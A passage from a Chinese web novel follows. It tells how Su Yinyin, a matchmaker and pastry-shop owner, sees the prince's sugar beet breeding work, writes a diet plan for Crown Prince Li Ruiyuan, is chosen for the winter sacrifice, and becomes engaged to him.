苏茵茵跟李锐渊互相看着对方,金彦磊那边先受不了了,酸溜溜道:“小红娘,我发现身边人是不是都要成亲了,我呢?” 他看别人情意绵绵的,自己接受不了啊。 特别是李雨情跟黎兴,那对都能成。 甚至李雨情都是他带过去的。 苏茵茵双手一摊:“这可不好说,天渡有缘人!” 十月底的天气,外面已经很冷了,行宫里依旧温暖。 苏茵茵跟李锐渊不自觉走到一起,两人有十多天没见,苏茵茵道:“甜菜收获了吗。” “快了,还有五六天。”李锐渊笑,“路上冷不冷。” “还好,京城已经下雪了,回去的时候要穿厚一点,一会带我去看看甜菜吧,现在培育成什么样了啊。”苏茵茵非常非常好奇。 既然能推广种植,肯定比之前要好的多。 李锐渊还是先让茵茵他们休息一会,自己带着她过去看看。 甜菜能熬糖,生长周期也只有四个月,放在黄河流域基本能种两季,严寒地带也能种。 这种农作物越培育越觉得好。 特别是田大人,今年会试的主考官。 他想见苏茵茵也很久了。 一个是因甜菜早就听说过苏茵茵的名字,二是知道太子的想法。 不管从哪个方面,他都久仰大名。 真正见面,田大人一眼就喜欢上这个灵动的小姑娘。 虽然只是七品指挥使的女儿,可生的冰雪聪明,面容姣好,行走之间又多带洒脱。 她进门便看到甜菜,惊喜道:“果然培育的好。” 苏茵茵只觉得眼前的甜菜虽不如后世的品种,可明显跟最早找到的已经大不一样。 相信推广之后要不了几年,产量还能增加。 她对这虽然没有研究,却也知道如今万龙国重视农业,肯定会继续培育的。 “殿下,您来了。”田大人等着行礼,并对这苏茵茵微微点头。 苏茵茵赶紧回礼,眼前的老伯并未穿官服,但容貌举止不俗,肯定不是普通人。 得知对方身份后,苏家兄妹都看了过来。 原来这就是田大人! 他的游记两人很喜欢看。 不管是当地的风土人情,还是时事见解,写得既有趣,还发人深省。 知道他们看过自己的书,田大人摸着胡子,很是开怀。 当年满怀郁闷,只能寄情乡野,没想到会被那么多人喜欢。 相谈甚欢中,田大人惊叹于苏茵茵的见识。 很多东西在她口中,像是理所应当一样。 特别是农业的重要程度,在她心中如呼吸般自然。 苏茵茵或许没察觉到什么,毕竟在她那一世,人人都知道吃饱饭的重要性,更知道种地的重要性。 甚至早就有一套烂熟于心的成熟方案。 这些东西拿到几百,甚至一千多年前,都是极为珍贵的经验。 田大人连连点头,带着满满的欣赏:“对,天下民本皆在田地当中,培育良种发展农具,都是极好的。” 田大人亲自带着众人去看熬糖的地方,白花花的糖都在里面堆着,看着就让人高兴。 李锐渊看着苏茵茵,认真道:“这些都是因为你才有的。” 如果不是她,谁也不会想到去找甜菜,更不会专门培育。 就跟如今的柠檬一样,以前很少有人食用,现在已经成了黎兴他们当地的特产。 苏茵茵不敢居功,她就动个嘴啊。 话是这么说,但整个制糖的成员都对苏茵茵格外敬重。 有了这些东西,天下的糖价就会下降许多,这种于国于民有利的事,正是他们所期盼的。 再说太子的态度如何,大家还看不出来吗。 就算冲着太子殿下对苏姑娘的感情,他们也会打起精神的。 苏茵茵他们在行宫里住下来。 李锐渊生辰当日,一桌丰盛的宴席摆了出来。 鸡鸭鱼羊个个都有,做法不尽相同,但有个共同的特点,一点也吃不出腥膻,绝对没有半点血水。 这一看就是太子的口味。 他们两人认识多年,再加上苏茵茵知道当年的事,便琢磨出李锐渊厌食的原因。 这张食谱,就是李锐渊以后的饮食指南。 只要按照这上面的做,那他的胃口肯定能好起来。 李锐渊看着单子上一笔一划的解释,眼神里带了震撼。 难道从他说了三岁时的经历后,茵茵就在准备这份礼物吗? 那会她明明都不想理她了。 他怎么可能不喜欢这样的人。 即使茵茵知道自己很麻烦,她也会对他好。 谁让她是苏茵茵,很早很早就对他好。 把他从深渊里拉出来。 单子后面,还有她的印章。 李锐渊眼睛更亮了。 苏茵茵指了指桌子:“以后按这么做,应该就可以,你要不要尝尝看。” 别说李锐渊,陪着的金彦磊早就想动筷子了,可他不敢啊。 这么多年以来,每次吃饭对李锐渊来说都是一种痛苦。 勉强吃些东西也是为了父皇母后。 但吃下去的完全不够,所以常年骨瘦如柴。 直到遇见苏茵茵。 她闪着大眼睛,是世界上最纯净的人,看着她吃饭,好像就会忘记那些萦绕不去的恶臭。 父皇母后无不兴奋,看着他身体好了一些。 再之后,就是她带着自己走出行宫。 也是从那开始,他才像个正常人。 对别人来说,成为正常人再简单不过。 但对他来讲,却用了许多年。 现在这张食谱,更是为他量身打造。 苏茵茵认真道:“我就喜欢你能平安健康。” 说完看了看哥哥,换了句话:“所有人都能平安健康,好好活着,就是最好的事了。” 李锐渊点头,大胆握住苏茵茵的手,根本不敢苏显的目光:“嗯,这也是我的愿望。” “皇上皇后赐礼!” 今年生辰太子说了要在温泉行宫过,问了缘由之后,帝后肯定不会打扰,但礼物照常送到。 不仅有太子的,还有苏茵茵的。 就像当年她在温泉行宫时,同样收到跟李锐渊一样的礼物。 皇后身边的大太监走过来,笑着道:“茵茵姑娘,又见面了。” 他们见过好多次了。 宫里每次定点心,都是大太监亲自过来。 当时还是金彦磊提醒,她才知道这位是皇后身边得力的人。 现在想想,他们的交际似乎从去年就开始了。 不对,从他们小时候就开始。 当年的暖玉还在她家里呢。 所以李锐渊到底什么时候开始有想法的? 他有想法是不是太早了啊! 帝后备下两人的礼物,对金彦磊的震撼还是最大。 这说明什么? 说明帝后早就认可苏茵茵。 只不过时机不到,这才没有处得来相认。 现在挑明身份后,便立刻送来礼物,更是向所有人表明,他们不仅认可,还很喜欢。 以前帝后不会打扰他们的正常生活。 现在既然瞒不住,就做苏家的后盾。 都说金家如今在朝中很得重用。 跟苏家比,还算什么啊。 除去其他东西,最重要的两个东西,则是两件暖衣。 跟当年的材质差不多,但明显按照两人现在的身量做的,除去颜色不一样之外,花纹裁剪基本一样。 其中的意思,不言而喻。 大太监则拿着那张食谱喜极而泣,让人赶紧抄录下来,回到宫里就让御厨们研习。 帝后要是知道了,肯定会说所有礼物都不如这个珍贵。 事实也确实如此。 苏茵茵他们在温泉山庄待了七八日,一直到新一批甜菜收下来为止。 所有人都确定,甜菜可以推广了。 也就是年前年后的事。 与此同时,京城大户人家都得知一个确切的消息,帝后心中已经有了太子妃的人选。 至于是谁? 那还不知道。 反正已经有了,据说门第不高。 一时间,各家都在说:“咱们家门第不算高吧。” “你家有适龄的女儿吗,你就在说门第的事。” 不少高门望族,恨不得把自家门第拉下来。 以往都喜欢被吹捧自家多厉害,现在谁夸自家门第高,那跟骂人差不多。 那可是太子妃。 以太子的能力远见,若能当太子妃,以后自家的门第是高是低,还用得着别人说? 但这个人具体是谁,还没有答案。 听说事情还没真正确定,要等落定了再说。 这,这还不能不答应? 不是开玩笑吧。 京城中为数不多知道正确答案的宁郡王,此刻正在跟下属恭恭敬敬说话。 宁郡王虽然没有挑明,但此刻就他跟苏指挥使,那客气的态度都不用多说,两人就明白怎么回事。 真正门第不高的苏指挥使人都麻了。 他总觉得最近有点不对劲。 先是家里出事,原来是四品官的孟家觉得他们苏家要高攀,所以设计陷害。 好像是他家儿子哭着闹着要娶自己女儿茵茵。 这就罢了,反正事情了结。 然后是娘子让他坐稳,说了原锐的身份。 原锐那孩子他们从小看着长大。 是个好孩子。 却也没人说他就是太子啊。 这件事尚且在接受的范围内。 现在宫里传出消息,帝后有太子妃的人选,门第不高。 到这苏指挥使还能安慰自己。 但看着上司宁郡王的眼神,还用得着说吗。 而且自己女儿跟儿子,此刻就在温泉行宫帮着太子过生辰。 不过苏指挥使想问一个问题。 “宁郡王,属下有个疑惑想解开。” 宁郡王却知道他要说什么,拜拜收道:“你升为指挥使,全是你自己的功绩。” 这点并非虚言。 不管是苏指挥使在战场上的战功,还是进了兵马司之后的能力,都是他升官的关键。 说到这,宁郡王还笑:“若真的沾光了,我这位置才是你的。” 五城兵马司的总指挥使,都是皇亲国戚。 宁郡王这话说的没错。 如果真的沾光,以后这位置才是他的。 苏指挥使一点也笑不出来啊。 他现在的生活已经知足了。 家里很好,旧友们的日子也越来越好,对他来说已经没什么遗憾的。 宁郡王却劝道:“你女儿是有福气的,而且还聪明,放心吧。” 回到家中,苏指挥使把这事也同娘子讲了。 苏娘子心里早有准备,却也难免忧心,等到店里再有大批宫中订单时,他们彻底明白宫里的想法。 可接下来另一件事,却让苏家夫妇俩再次揪心。 宫中传出旨意。 要找京城民间有福之人,同去冬祭,共选五人,让京城各衙门认真举荐。 作为一年里最重要的祭祀,从民间找?! 苏家夫妇两人心里却有了答案。 有福之人。 他们女儿啊。 果然,西城衙门张主簿直接登门,极为客气道:“西城之中,最有福气的,必然是苏家的女儿苏茵茵啊。” “咱们西城那么多好姻缘都是苏姑娘促成,连皇后娘娘都交口称赞。” “此次冬祭,苏姑娘定然要去。” 因是在慧女点心门前讲的,在场的顾客羡慕之余连连点头。 就是,苏茵茵向来是有福之人,大家都知道的。 她促成的婚事,无一不好。 冲着这份福气,冬祭选她去再合适不过! 【全文完结】 第65章 苏茵茵刚回京城,便听到这个消息。 有福之人。 远近有名的小红娘。 撮合的婚事都极好。 这些话说出来,别说西城百姓知道,京城许多人都听说过的。 从最早的程张两家婚事,现在孩子都能打酱油了。 这两家还从针锋相对变成姻亲,现在早就不同往日。 之后还有不少姻缘,说出来都让人羡慕。 城郊果园李家招赘的,人家日子过得也圆满。 里面的男方还一直说,幸好听劝入赘了,不然他现在别说有老婆有孩子,估计酒楼倒闭之后,直接当了流民。 虽说是开玩笑,但他们之前一起做事的伙计,还真的差点变成乞丐。 更别说这两年的。 何家药铺的玉凤嫁树,还有黎状元跟郡主的婚事。 全都备受瞩目。 苏茵茵的名字,早就随着这些事传遍大街小巷。 想让她说亲的人家,排队看不头。 更不用说她开的点心店,整个京城的人家都排着队买。 还有专门来西城买点心的,可见她的本事。 这样的人被选上参加今年冬祭,再合适不过。 不少邻居都拿艳羡的目光看着苏家。 殊不知帝后两人看着苏茵茵特制的食谱,忍不住流下热泪。 他们知道,太子的身体会越来越好,一定会的。 要不是苏茵茵,太子别说观政,能不能健康,能不能走出行宫都是问题。 现在又有专门的食谱,不仅对症,还因为是苏茵茵亲自拟的,渊儿肯定会吃。 他们再也不用担心孩子的身体。 扶万龙国将倾的两个人,很少有这种脆弱的时候。 “不哭了,咱们终于要见到那孩子了。” “是啊,这可是个好机会。” 两人早就想见苏茵茵了。 他们虽然从未见过她,可画像跟事情却听了不少。 比之很多人觉得她撮合姻缘,两人更看重她的品行跟聪明。 从小跟着太子学习,人又聪明,文章好,字也好。 还有她处理事情的时候不卑不亢,有礼有节,许多大家族培养出来的小姐公子都不如她有见地。 都说家务事最难断,可在她手中,却是样样都行的。 帝后相信,苏茵茵绝对是最合适的太子妃。 当然了,也因为渊儿着实喜欢。 苏茵茵坐在家中,听着好友们七嘴八舌的话,她已经在恶补礼仪了。 好在宫里专门派人教导,可越学越多,怎么看都不像只有冬祭的时候用的。 宫里的嬷嬷笑着道:“多学学总是好的。” 看对方的眼神,苏茵茵明白了。 不过这些事是不是太快了。 她跟李锐渊不过刚刚开始。 自己想通没多久啊。 殊不知宫里早就把一切都准备好,只等着她松口。 见她接受太子的身份,所有进度肯定加快了。 正好李雨情还没离京,作为郡主她最熟悉宫中礼仪,跟着帮忙指点。 但更多时候,她还是震惊地拉着苏茵茵:“真的啊,真是你。” 虽说之前猜到了,可现在眼看着宫中铺路,还是不可思议啊。 宫里做事缜密,自然不是无缘无故派人教导这样多的礼仪。 怎么看都有点迫不及待的意思。 事到如今,苏茵茵点头:“反正就是这么回事。” “那你怎么想的。” 苏茵茵想了想,把这些年的事说出来,最后道:“现在也想明白了,不管他是谁,都是我从小玩到大的好朋友。” 然后感情逐渐变质。 她第一次想离原锐远点,就是意识到这种感情。 但也没走多远,那会还是别扭的想法较多。 再之后就是意识到原锐的身份,比她想象中还要不同。 那会的想法便是,这次真的要走了。 不管自己对他什么感情,都不要再想,也不要再蔓延。 可感情这东西,怎么可能克制。 之后的事情就不用说了。 那么多人的感情纠葛,有的真挚,有的虚伪。 从这里面,她才明白,一味的逃避没有用,再说李锐渊也不会让她逃。 而且她不得不承认,卖惨这件事,卖对人了,是真有用。 反正对她有用。 她太明白那种感觉。 抓住一块浮木便像翻身上去。 但对他们这种人来说,翻身上去的动作都很艰难。 她有多想抓紧爹娘哥哥,多依恋自己的家人。 李锐渊就有多依恋自己。 这种依恋,恰好是她需要的。 不怎么健康。 却着实给她安全感。 “不说这些了,我做了新点心,你要尝尝吗。”苏茵茵做好决定,就不会再想其他的。 李雨情立刻点头。 当然要吃了! 这可是未来太子妃做的点心。 而且味道那样好。 这么想想,太子的运气可真好。 朝中同样为冬祭做准备。 十一月十六。 苏茵茵穿着礼服被皇宫的人接走。 苏家其他人眼巴巴看着,总觉得有点不对劲。 这就接走了吗?! 苏指挥使更是强忍脚步,苏显也有种想把妹妹抢过来的冲动。 他们总觉得,好像落入什么圈套了。 这真的是冬祭吧? 只是冬祭吧? 苏指挥使在兵马司敏思苦相。 苏娘子做点心的时候还愣神。 苏显在山家书院则拍案而起:“不好。” 苏显的夫子看着自己的爱徒,询问道:“怎么了?是有哪里不懂吗。” 下次乡试,苏显夫子指望爱徒考上乡试解元呢。 不能有不懂的地方。 苏显咬牙道:“不是学问上的事。” 但他又看了看手里的书:“也是学问上的事。” 如果皇家真的想把妹妹跟太子的事情定下。 那他更要好好读书,以后成为妹妹的后盾。 否则他一个女孩子嫁到皇家,岂不是很危险。 考秀才那会,他为了少交学费努力读书。 现在为了妹妹更要好好读书了 苏显夫子发现,爱徒好像更用功了?! 这样下去,别说乡试解元了,就算会试状元都大有可能。 苏茵茵先被接到宫中,身边伺候的宫人竟然是温泉行宫的人,显然为了她专门调过来。 对方轻声道:“苏姑娘不用担心,一切有我们呢。” 苏茵茵点头,她此刻更多是好奇,古代人最重祭祀,也不知道冬祭是什么流程。 不仅她好奇,同样召进宫中的民间百姓,忍不住打量周围。 他们有的高寿,有的贤名远扬,还有的养育不少孤儿,甚至还有一个极会种田的老农,也在其中。 有幸参加今年的冬祭,每个人都激动万分。 但他们还未多想,就听到有人来报,皇后要召见。 众人连忙起来整理衣衫,恭敬站好。 祭祀之前,皇后要召见的人极多,命妇女官,皇亲国戚,都在一一等待拜见。 终于到他们这群民间百姓进正殿前,不少人都看了过来,多带有笑意,宽慰他们不用担心。 “皇后娘娘仁心善意,不会苛责。” “只管进去拜见就是,领了赏赐就能出来。” “太子殿下也在,不要忘记拜见。” 太子也在。 苏茵茵跟着众人进了正殿。 正殿的摆设跟行宫有些像,格局跟东宫也类似,进到这里面,倒是没有太多局促感。 苏茵茵跟着众人拜见,听到温柔大气的女声道:“起。” 苏茵茵抬头一看,正好跟最高位的皇后娘娘对视。 皇后满身华贵,眼神看着她的时候却无比温柔,两人虽然第一次见面,对彼此却并不陌生。 等苏茵茵再抬头看过去,正好看到李锐渊站在身后。 无数次确认过这是太子,这次更加知道了。 他戴着太子冠冕,跟往日完全不一样。 但她也知道,这还是那个当初跟她一起救小情侣的原锐。 不管哪一个,都是他。 皇后见此,忍不住又笑,朝苏茵茵招手:“小红娘苏茵茵,本宫早就听说过你的名字。如今终于见到了。” 苏茵茵上前,皇后拉住她的手,眼神满满的欣赏:“就陪着本宫身边吧。” 这样合适吗。 苏茵茵下意识去看李锐渊,见他目光都在自己身上,干脆看回去。 李锐渊往里面挪了挪,把自己身边的位置让给她,意思不言而喻。 “好孩子,陪着本宫吧。”皇后笑着道。 最近一段时间,宫里都在按照茵茵的食谱做吃食,果然很有疗效。 这些年渊儿身体本就好了些,现下更是如此。 苏茵茵也觉得李锐渊脸上比之前多了些肉,看着更加有威仪,等她站到旁边,忍不住道:“你是不是又长高了。” 李锐渊低头:“嗯,你养的好。” 两个孩子说着悄悄话,皇后脸上笑意更甚。 她多年的心结,终于解开。 冬祭队伍出发,苏茵茵一直在皇后身边。 等到回京后,满朝文武都知道这个叫苏茵茵的女子,她相貌极好,人也高挑,年纪虽然不大,但行事却有自己的章程。 不少人都在大厅,这是谁家的女儿,难不成就是前些日子说的,皇后娘娘心中的太子妃人选? 等知道她家的门第后,又忍不住道:“说是门第不高,这也太低了。” “她有小红娘的名声,难道说让她帮忙给太子殿下牵线?” 太子已过十七,是该婚配了。 各方疑惑当中,苏茵茵频繁被召进宫中,主要是陪皇后娘娘说话。 这些就算了。 知道传出来,来年春耕,苏茵茵会陪着帝后太子一起耕种新苗。 他们选的新苗名为甜菜,根部可以制糖。 此消息一出,多数人都产生疑惑。 为什么。 苏茵茵凭什么? 同时又忍不住问,甜菜是什么? 好在这两个问题都有答案。 甜菜是一种可以制糖的农作物,记不记得去年糖商们破坏糖类价格,就是惧怕这个东西。 这么一说,不少人回忆起当时的事。 那会就说过,会有新的农作物出来,制出来糖又好又多。 又有人再道,这东西就是苏茵茵提议的,她平日总做甜品,试过许多糖,其中甜菜的糖最好,所以举荐给太子殿下。 没错,苏茵茵跟太子殿下早就相识,两人是青梅竹马! 事情还要从安盛三年程张两家人的婚事说起! 几乎一夜之间,京城大街小巷都知道了这件事。 要说没有太子推波助澜,那是绝对不可能的。 苏茵茵都觉得李锐渊是不是有点太着急了。 等到张姐姐带着孩子来找她时,她脸上到现在都带着震惊。 原来那天晚上,劝她跟相公的人是太子?! 他们就是那会认识的?! 苏茵茵心道,其实比那个时间更早。 但她那会是小婴儿,还是不要说的好,不然太奇怪了。 张姐姐感慨一番后,又道:“冬祭带了你,春耕也带着你,你们就算不成亲,也该定亲了。” 朝中现在无人敢反对此事。 毕竟帝后的意思已经很明白,都为苏茵茵撑腰。 再说如此重要的甜菜也是她的功劳,更不要说太子的想法,没有人能改变等等。 张家小姐明白,只要苏茵茵点头,这事马上就能成。 好友们对此震惊。 两家店铺更是如此,还有苏茵茵之前谈的几家分店,几乎立刻松口。 未来太子妃想要开分店,肯定要让给她啊。 苏茵茵因此都不敢杀价,省得被说占便宜。 陪着茵茵筹备分店的兰姐更觉得整个人晕晕乎乎的。 安桂兰同苏显的事基本已经定下,明天秋天办喜事。 用苏娘子的话说,等亲事成了,也能安心备考。 这段时间相处下来,兰娘已经是苏家人了。 兰娘以为自己的日子已经够好。 可最近的变化让她措不及防。 未来夫家怎么还跟太子扯上关系。 经常来店里找茵茵的少年就是太子? 他们两个还是青梅竹马? 总之这些事让她总觉得不可思议,说出来都像在骗人。 但事实就是如此。 而且皇宫现在来送东西,已经不背着其他人,谁都知道宫里对苏茵茵十分满意,只等着娶回家。 茵茵跟平常一样,她还在筹备分店的事:“时间还早呢,不会那么着急的。” 李锐渊听到这话,眼神明显一暗,看着她道:“为什么不着急。” “你很着急吗。”苏茵茵直接问。 “当然。”李锐渊看着她道,“在你不排斥我的第一天,我就想成亲。” 这进度也太快了点! 苏茵茵觉得,他们两个根本就不在一个频道上啊。 过了会,李锐渊道:“成亲可以放放,要不然先定亲?” 苏茵茵也算见过许多场婚事,都没见过这么着急的:“太子殿下,您是不是娶不到媳妇,所以才这么着急?” 这话当然是开玩笑,堂堂太子怎么可能娶不到媳妇,不过是娶不到想要的人罢了。 看着李锐渊目光殷切,苏茵茵道:“我的分店还没开起来就成亲,那以后怎么办嘛。” “照样开啊。”李锐渊直接道,“这有什么了。” 苏茵茵没说话,继续摆弄她的食材,眼看李锐渊察觉不对,苏茵茵干脆直白讲:“你知道我要成亲的话,相公要符合什么要求吗。” 这话原本没打算现在说。 只是李锐渊一步步走得太快。 也把路铺的太平。 对现在的她来说,闭着眼走都不会有错。 但她知道,这条路上还有障碍。 李锐渊看着她,突然笑了:“你这些年撮合过很多姻缘。” 是啊,怎么了。 李锐渊摇摇头:“你说,我都听着。” 苏茵茵放下手里的东西,直视对方的眼睛:“我知道你是太子。” “我也知道你是万龙国的继承人。” “但我的夫君,不能纳妾,便是这个念头也不能有。” 这一条别说放在皇家,就算放在普通望族都是不可能的事。 “所以这段时间,你就是在拖延吗。”李锐渊一针见血指出问题。 不管宫里做什么,他做什么,茵茵被动接受,却从不主动。 她在等,等自己热情万一消退,等着朝中反对。 等来等去,什么都没等到。 毕竟前面任何一件事发生,都到不了这一步。 苏茵茵知道这是古代,也知道皇家情形不同,但这就是她的要求,如果对方有异心,她会立刻就走。 李锐渊捧着她的脸,一字一句道:“你这些年撮合过很多姻缘,我都在看,也在学。” “这辈子除了你之外,怎么可能有别人。” “你要是答应有别人,我才是生气。” 不止生气,而是震怒。 独享一份爱的感觉再好不过。 他是绝对不会让任何人横在两人中间。 李锐渊的答案并未让苏茵茵觉得受宠若惊,更多是惊讶他早就猜到了? 青梅竹马就是这点不好,一点秘密也没有。 本以为这是个杀招呢。 苏茵茵踮起脚,也捧住对方的脸,过了会后:“我相信你。” 这也是青梅竹马的好处。 李锐渊心思再多,可他承诺过的事,一定会实现。 这点毋庸置疑。 少年少女脸上浮现傻笑。 青梅竹马哎,真好。 两只手偷偷牵在一起,在回到苏家之前再迅速放开。 他们两个的姻缘,好像定下了。 小红娘的婚事也定下了。 宫里得知这个好消息,帝后两人难掩激动。 苏家不意外的同时,又觉得忧心。 看来家里要努力科举,努力升职才行,否则怎么当女儿的后盾。 翻过年,正月十五。 苏茵茵十五岁的及笄礼便在皇宫操办。 皇后娘娘邀请苏娘子进宫,共同完成仪式。 朝中已经不惊讶帝后的态度。 得知太子这些年跟苏茵茵的关系后,谁都知道苏姑娘对太子的重要性。 如果没有她,就没有现在的太子。 苏茵茵及笄之后,皇后便想让两人定亲,在她百般拒绝后,终于将事情暂缓。 她还要开更多苏家点心分店,还要做更多好吃的点心。 哪用得着那样着急啊。 最后两家定好,先筹备婚事,两年后定亲,三年后成亲。 很久很久以后,史书上提起李锐渊跟苏茵茵,还会说两人不仅是神仙眷侣,还创造了万龙国最兴盛的百年。 苏茵茵留下的食谱,以及红娘传说,更是延绵千年之久。